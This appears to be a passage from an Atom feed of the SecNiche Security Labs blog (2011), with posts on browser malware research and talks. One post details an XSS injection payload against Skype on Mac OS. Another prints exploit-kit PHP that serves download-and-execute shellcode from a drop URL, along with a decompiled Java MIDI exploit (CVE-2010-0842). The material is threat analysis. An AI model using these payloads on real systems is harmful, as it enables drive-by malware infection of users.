world?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5669253642341791518?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5669253642341791518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/06/google-chrome-form-grabber-hooking-at.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5669253642341791518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5669253642341791518'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/06/google-chrome-form-grabber-hooking-at.html' title='Chrome Form Grabber - No One is Secure'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-6kwFZ9POinU/Tepc_DKif5I/AAAAAAAAA78/pnDamyhLQRw/s72-c/chrome.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-214685489369229111</id><published>2011-06-02T06:32:00.000-07:00</published><updated>2011-06-02T06:41:09.685-07:00</updated><title type='text'>Virus Bulletin - Browser Malware Taxonomy</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-9Ryjunr0Tfw/TeeSTCzcdrI/AAAAAAAAA7w/1amxEHa89tI/s1600/virusbulletin.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 140px; height: 75px;" src="http://2.bp.blogspot.com/-9Ryjunr0Tfw/TeeSTCzcdrI/AAAAAAAAA7w/1amxEHa89tI/s400/virusbulletin.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5613616316408428210" /&gt;&lt;/a&gt; In this paper, we propose a taxonomy of browser malware.We classify browser add-ons, emphasizing their privileges. Since privileges impact the capability of malware, we use the resulting classification as a basis for our taxonomy. We hope that this taxonomy will provide better insight into the techniques and tactics used by browser malware, and assist in the development of defences.&lt;br /&gt; &lt;br /&gt;Subscribers : &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.virusbtn.com/virusbulletin/archive/2011/06/vb201106-browser-malware-taxonomy"&gt;A Browser Malware Taxonomy&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-214685489369229111?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/214685489369229111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/06/virus-bulletin-browser-malware-taxonomy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/214685489369229111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/214685489369229111'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/06/virus-bulletin-browser-malware-taxonomy.html' title='Virus Bulletin - Browser Malware Taxonomy'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-9Ryjunr0Tfw/TeeSTCzcdrI/AAAAAAAAA7w/1amxEHa89tI/s72-c/virusbulletin.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-3925545869153539167</id><published>2011-05-24T05:35:00.000-07:00</published><updated>2011-05-24T05:37:20.203-07:00</updated><title type='text'>Elsevier NESE - Spying on the Browser -  Paper</title><content type='html'>&lt;center&gt;&lt;div style="width:477px" id="__ss_8080045"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/nese-2011-05may" title="Elsevier NESE - Spying on Browsers"&gt;Elsevier NESE - Spying on Browsers&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/8080045" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt;   &lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-3925545869153539167?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/3925545869153539167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/elsevier-nese-spyingon-browsers-paper.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3925545869153539167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3925545869153539167'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/elsevier-nese-spyingon-browsers-paper.html' title='Elsevier NESE - Spying on the Browser -  Paper'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4483813801730608046</id><published>2011-05-20T16:04:00.000-07:00</published><updated>2011-05-20T16:18:01.366-07:00</updated><title type='text'>HackInTheBox AMS - Spying on SpyEye</title><content type='html'>We presented a talk regarding our research on SpyEye at HackInTheBox security conference. Thanks to Rohit for all his support and working with me on this research. &lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div style="width:425px" id="__ss_8046191"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/spying-on-spyeye-what-lies-beneath" title="Spying on SpyEye - What Lies Beneath ?"&gt;Spying on SpyEye - What Lies Beneath ?&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/8046191" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;You can fetch the presentation from &lt;span style="font-weight:bold;"&gt;&lt;a href="http://conference.hackinthebox.org/hitbsecconf2011ams/materials/D2T3%20-%20Aditya%20K%20Sood%20-%20Spying%20on%20SpyEye.pdf"&gt;HackInTheBox Security Conference&lt;/a&gt;&lt;/span&gt; Website.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4483813801730608046?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4483813801730608046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/hackinthebox-ams-spying-on-spyeye.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4483813801730608046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4483813801730608046'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/hackinthebox-ams-spying-on-spyeye.html' title='HackInTheBox AMS - Spying on SpyEye'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-8330086629475310300</id><published>2011-05-10T09:41:00.000-07:00</published><updated>2011-05-10T09:50:24.750-07:00</updated><title type='text'>DoD CrossTalk - Browser UI Design Flaws</title><content type='html'>We have just published &lt;span style="font-weight:bold;"&gt;"Browser UI Interface Design Flaws"&lt;/span&gt; paper in &lt;span style="font-weight:bold;"&gt;Department of Defense CrossTalk Journal&lt;/span&gt;. Have a nice read.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe src="http://www.crosstalkonline.org/storage/issue-archives/2011/201105/201105-Sood.pdf" width=500 height=600&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-8330086629475310300?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/8330086629475310300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/dod-crosstalk-browser-ui-design-flaws.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8330086629475310300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8330086629475310300'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/dod-crosstalk-browser-ui-design-flaws.html' title='DoD CrossTalk - Browser UI Design Flaws'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-7026906222826859382</id><published>2011-05-07T09:56:00.000-07:00</published><updated>2011-05-11T13:02:49.630-07:00</updated><title type='text'>Skype IM (MAC OS X)  -  Is this the 0day ?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-syczV5XSylY/TcWJ0zM2SbI/AAAAAAAAA64/9BbS-nwnDrI/s1600/no-skype.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 275px; height: 179px;" src="http://1.bp.blogspot.com/-syczV5XSylY/TcWJ0zM2SbI/AAAAAAAAA64/9BbS-nwnDrI/s400/no-skype.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5604036851522750898" /&gt;&lt;/a&gt;&lt;br /&gt;Recently, we have came across about the news on &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.purehacking.com/blogs/gordon-maddern/skype-0day-vulnerabilitiy-discovered-by-pure-hacking"&gt;SKYPE 0 DAY&lt;/a&gt;&lt;/span&gt; that results in remote exploitation on MAC OS. However, we have also discovered the same pattern of vulnerability in Skype two months ago. Due to testing reasons, we were not indulged in the process of reporting it to vendor because we were looking at the malware paradigm related to this vulnerability(whether it can be exploited to download malware in MAC OSX).&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;br /&gt;Firstly, we are not sure whether the researchers are talking about the same vulnerability. &lt;/span&gt;This is because we have seen the news but the vulnerability details are missing everywhere. So our team thought to take a step in this direction. We are presenting the details of the vulnerability that we discovered in Skype running over MAC OS. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Discussion:&lt;/span&gt;&lt;br /&gt;JavaScript is used extensively in all web related platforms. Skype application on MAC OS uses JavaScript too (most of the chatting client uses that, so not a big deal). This vulnerability does not impact the Skype running over windows and Linux. Skype fails to instantiate between the payloads that are sent as hyperlinks in the chat window. Only the legitimate users in the client list of victim can exploit it. The attacker only requires a definitive payload to exploit this issue. Basically, we call it as a Skype Remote Scripting (Injection).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Working:&lt;/span&gt;&lt;br /&gt;In order to trigger this vulnerability, you need to find a vulnerable website that can be used as an agent to send our payload. For example: attacker can use third party vulnerable website to trigger scripting injection in Skype (MAC OS). Generally, certain truth prevails as follows&lt;br /&gt;&lt;br /&gt;1. If an attacker sends a remote script payload as &lt;span style="font-weight:bold;"&gt;[script]alert(document.location);[script]&lt;/span&gt;;skype filters this injection on chat engine which is quite normal. We have used square brackets (for representation) but for real injections one has to use angle brackets as XSS payloads.&lt;br /&gt;&lt;br /&gt;2. Skype(MAC OS) fails to filter the injection in which payload is sent as a part of third part vulnerable website hyperlink as follows&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt;http://www.vulnerablewebsite.com/index.php?url=[script]alert(document.location);[script]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;A = http://www.vulnerablewebsite.com/index.php?url=&lt;br /&gt;B = [script]alert(document.location);[script]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Skype fails to treat it as one hyperlink as (A+B). As a result, B part executes in the context of Skype(MAC OS) thereby resulting in remote scripting in the skype.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Attacker can use DOM injections to write arbitrary content in the chat window. There can be advanced variations of it.&lt;br /&gt;&lt;br /&gt;4. &lt;span style="font-weight:bold;"&gt;We know MAC runs applications with extensions .app, it is possible to download malicious applications through skype&lt;/span&gt;. One can also trigger Safari automatically using DOM calls such as "window.open".&lt;br /&gt;&lt;br /&gt;5. &lt;span style="font-weight:bold;"&gt;This vulnerability does not require any user interaction and runs payload directly&lt;/span&gt;. One has to be careful because it can execute content in both chat windows if an attacker and victim is using Skype (MAC OS). Attacker can use Skype on Windows and Linux in order to execute this attack.&lt;br /&gt;&lt;br /&gt;Some of the POC's are presented in the below mentioned snapshots which supports the execution of this vulnerability.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 1:&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/--eo7OJqjMUY/TcrrHg_kpqI/AAAAAAAAA7Y/zXYM1ggvAzs/s1600/skype_inj_1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 303px;" src="http://3.bp.blogspot.com/--eo7OJqjMUY/TcrrHg_kpqI/AAAAAAAAA7Y/zXYM1ggvAzs/s400/skype_inj_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5605551200564192930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection 2:&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-iXFeAqgXPWE/TcrrT79P34I/AAAAAAAAA7g/5l2Rb7_-cEU/s1600/skype_injection_2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 302px;" src="http://3.bp.blogspot.com/-iXFeAqgXPWE/TcrrT79P34I/AAAAAAAAA7g/5l2Rb7_-cEU/s400/skype_injection_2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5605551413960630146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Injection3:&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-Q7xaG2stXAs/TcWVFZIls4I/AAAAAAAAA7Q/EVwsMqbaeY8/s1600/skype_inj_3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 247px;" src="http://2.bp.blogspot.com/-Q7xaG2stXAs/TcWVFZIls4I/AAAAAAAAA7Q/EVwsMqbaeY8/s400/skype_inj_3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5604049231211246466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is really devastating from security point of view. &lt;span style="font-weight:bold;"&gt;All the versions before 5.1.0.922 are vulnerable.&lt;/span&gt; However, &lt;span style="font-weight:bold;"&gt;we still think the variation of this type of issues are possible and vulnerable versions can be exploited differently. Since it is executing scripts , we can say that this vulnerability can be used in worm infections.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Is this the 0day Skype Bug? Let see what the other researchers release.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-7026906222826859382?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/7026906222826859382/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/skype-im-mac-os-x-is-this-0day.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7026906222826859382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7026906222826859382'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/skype-im-mac-os-x-is-this-0day.html' title='Skype IM (MAC OS X)  -  Is this the 0day ?'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-syczV5XSylY/TcWJ0zM2SbI/AAAAAAAAA64/9BbS-nwnDrI/s72-c/no-skype.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5868488148304177552</id><published>2011-05-04T19:23:00.000-07:00</published><updated>2011-05-04T20:06:29.819-07:00</updated><title type='text'>Finest 5 - Java Exploits on Fire</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-s3O6HJ-tIZA/TcILk3iemfI/AAAAAAAAA6w/M9DJxFf9Wfc/s1600/5.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 150px; height: 150px;" src="http://2.bp.blogspot.com/-s3O6HJ-tIZA/TcILk3iemfI/AAAAAAAAA6w/M9DJxFf9Wfc/s400/5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5603053614414076402" /&gt;&lt;/a&gt;Since the origin of browser exploit packs, we have noticed a serious change in the effectiveness of exploitation ratio due to origin of critical vulnerabilities. However, we have noticed and observed recently about the explicit use of Java vulnerabilities by Browser Exploit Packs (BEP's). &lt;span style="font-weight:bold;"&gt;Java has become the most prominent exploitation vector now a days. BEP's such as BlackHole and Phoenix are using Java exploits explicitly for triggering infections&lt;/span&gt;. Consequentially, the highest infection rate is an outcome of these Java exploits. &lt;br /&gt;&lt;br /&gt;Java being platform independent is the preferred choice of attackers in order to attack victim machines. The Java exploits that are on fire are as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. Sun Java Runtime Environment Trusted Methods Chaining Remote Code Execution Vulnerability (CVE-2010-0840)&lt;br /&gt;&lt;br /&gt;2. Java JRE MixerSequencer Invalid Array Index Remote Code Execution Vulnerability&lt;br /&gt;   (CVE-2010-0842) | Java JMF MIDI&lt;br /&gt;&lt;br /&gt;3. Java Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE (CVE-2010-0886)&lt;br /&gt;&lt;br /&gt;4. Sun Java Runtime RMIConnectionImpl Privileged Context Remote Code Execution Vulnerability (CVE-2010-0094) | Java RMI&lt;br /&gt;&lt;br /&gt;5. Java argument injection vulnerability in the URI handler in Java NPAPI plugin (CVE-2010-1423)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The latest addition to Java exploit is &lt;span style="font-weight:bold;"&gt;CVE-2010-4452&lt;/span&gt; which presents a flaw exists within the findClass method of the &lt;span style="font-weight:bold;"&gt;sun.plugin2.applet.Applet2ClassLoader class&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Serving these exploits are quite easy by simply pushing Jar file as follows&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;[object id="java_obj" classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" width="0" height="0"]&lt;br /&gt;[PARAM name="launchjnlp" value="1"]&lt;br /&gt;[PARAM name="docbase" value="]&lt;br /&gt;[/object]&lt;br /&gt;[embed type="application/x-java-applet" width="0" height="0" launchjnlp="1" docbase="';&lt;br /&gt;&lt;br /&gt;include '../config.php';&lt;br /&gt;include '../include/shellcode.php';&lt;br /&gt;$shellcode = shellcode_dl_exec ($config_url . '/drop.php?e=Java-2010-0842');&lt;br /&gt;$rmf = 'IREZ' . 'SONGmSËm' . ' ' . '' . '' . 'ITLŸ±µ&lt;br /&gt;~ûpœ†þ°5' . '“â^Þ÷' . 'ÿ' . '' . '8ÿ ÉPQRSVW' . $shellcode;&lt;br /&gt;header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT');&lt;br /&gt;header ('Cache-Control: no-cache');&lt;br /&gt;header ('Pragma: no-cache');&lt;br /&gt;header ('Accept-Ranges: bytes');&lt;br /&gt;header ('Content-Length: ' . strlen ($rmf) . '');&lt;br /&gt;header ('Content-Disposition: inline; filename=midi20100842.rmf');&lt;br /&gt;header ('');&lt;br /&gt;header ('Content-Type: application/x-msdownload');&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So we cannot ignore the easiness of spreading malware by exploiting Java vulnerabilities. For example consider the below stated exploit trigger&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;include_once 'config.php';&lt;br /&gt; echo ' [Applet Code="ToolsDemo.class" archive="';&lt;br /&gt; echo $config_url . '/exploits/Java-2010-0842.jar';&lt;br /&gt; echo '" width="0" Height="1"]&lt;br /&gt;  [PARAM NAME="URL" VALUETYPE="ref" VALUE="';&lt;br /&gt; echo $config_url . '/exploits/Java-2010-0842Helper.php';&lt;br /&gt; [/applet]';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On decompiling Java-2010-0842.jar, we get&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;import java.applet.Applet;&lt;br /&gt;import java.io.*;&lt;br /&gt;import javax.sound.midi.*;&lt;br /&gt;public class ToolsDemo extends Applet&lt;br /&gt;{&lt;br /&gt;public ToolsDemo(){}&lt;br /&gt;&lt;br /&gt;public void init()&lt;br /&gt;    {&lt;br /&gt;        String s = getParameter("URL");&lt;br /&gt;        try&lt;br /&gt;        {&lt;br /&gt;            InputStream inputstream = getClass().getResourceAsStream(s);&lt;br /&gt;            ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();&lt;br /&gt;            byte abyte0[] = new byte[1024];&lt;br /&gt;            int i;&lt;br /&gt;            while((i = inputstream.read(abyte0)) != -1) &lt;br /&gt;                bytearrayoutputstream.write(abyte0, 0, i);&lt;br /&gt;            ByteArrayInputStream bytearrayinputstream = new ByteArrayInputStream(bytearrayoutputstream.toByteArray());&lt;br /&gt;            ToolsDemoSubClass toolsdemosubclass = new ToolsDemoSubClass();&lt;br /&gt;            javax.sound.midi.MidiDevice.Info ainfo[] = MidiSystem.getMidiDeviceInfo();&lt;br /&gt;            MidiDevice mididevice = MidiSystem.getMidiDevice(ainfo[0]);&lt;br /&gt;            Sequencer sequencer = null;&lt;br /&gt;            sequencer = (Sequencer)mididevice;&lt;br /&gt;            sequencer.open();&lt;br /&gt;            sequencer.setSequence(bytearrayinputstream);&lt;br /&gt;            sequencer.addControllerEventListener(toolsdemosubclass, new int[] {&lt;br /&gt;                0&lt;br /&gt;            });&lt;br /&gt;            sequencer.start();&lt;br /&gt;        }&lt;br /&gt;        catch(Exception exception) { }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;public String getAppletInfo(){return "Tools Demo";}&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Something is really on fire :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5868488148304177552?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5868488148304177552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/finest-5-java-exploit-on-fire.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5868488148304177552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5868488148304177552'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/finest-5-java-exploit-on-fire.html' title='Finest 5 - Java Exploits on Fire'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-s3O6HJ-tIZA/TcILk3iemfI/AAAAAAAAA6w/M9DJxFf9Wfc/s72-c/5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-7644228885807734469</id><published>2011-05-03T14:50:00.001-07:00</published><updated>2011-05-03T15:40:02.533-07:00</updated><title type='text'>Firefox Fake AV Alerts  - Malware Trigger</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-usEPqm78ROY/TcCEGlFiOcI/AAAAAAAAA6o/C8EmlDzJ46A/s1600/5292-fake-sta_article.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 226px; height: 150px;" src="http://3.bp.blogspot.com/-usEPqm78ROY/TcCEGlFiOcI/AAAAAAAAA6o/C8EmlDzJ46A/s400/5292-fake-sta_article.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5602623185018304962" /&gt;&lt;/a&gt;&lt;br /&gt; Malware writers are opting aggressive techniques to infect users with malicious programs. Browsers are always been the prime exploitation paradigm. &lt;span style="font-weight:bold;"&gt;What else could be better than Anti Virus Alerts in browsers?&lt;/span&gt; Recent trend encompasses manipulation of Firefox(supporting other browsers too) in order to trigger malicious AV alerts there by forcing user to download malicious executable. For security researchers, detecting these alerts are not that hard task. However, normal users find themselves in havoc from the fear of being infected when they face these malicious alerts. Infact, this process exploits the ignorance or one can say fear of users by social engineering tricks. In order to remove malware from system (fake alert notifications) users intentionally install malicious program on their machines. &lt;br /&gt;&lt;br /&gt;Generally, these alerts are not browser specific rather browser independent. It is also possible that these alerts trigger only when &lt;span style="font-weight:bold;"&gt;User Agent Based Fingerprinting (USBF) is done&lt;/span&gt; . There are many scenarios. The below presented snapshot shows how Firefox is manipulated&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Co9mxXwc9u4/TcB6sk0XWFI/AAAAAAAAA6Y/B2P2HRK3V3M/s1600/firefox_av2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 306px;" src="http://4.bp.blogspot.com/-Co9mxXwc9u4/TcB6sk0XWFI/AAAAAAAAA6Y/B2P2HRK3V3M/s400/firefox_av2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5602612842665039954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On successful scans, it alerts lot of security issues for the presence of trojans, backdoors and rootkits etc. &lt;span style="font-weight:bold;"&gt;Despite of the hilarious fact that, your system level AV engine stays calm.&lt;/span&gt; &lt;span style="font-weight:bold;"&gt;Well, visualization of threats have its own implication.&lt;/span&gt; On completion of scans, these alerts force users to install following file (specific for domain we are analyzing)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 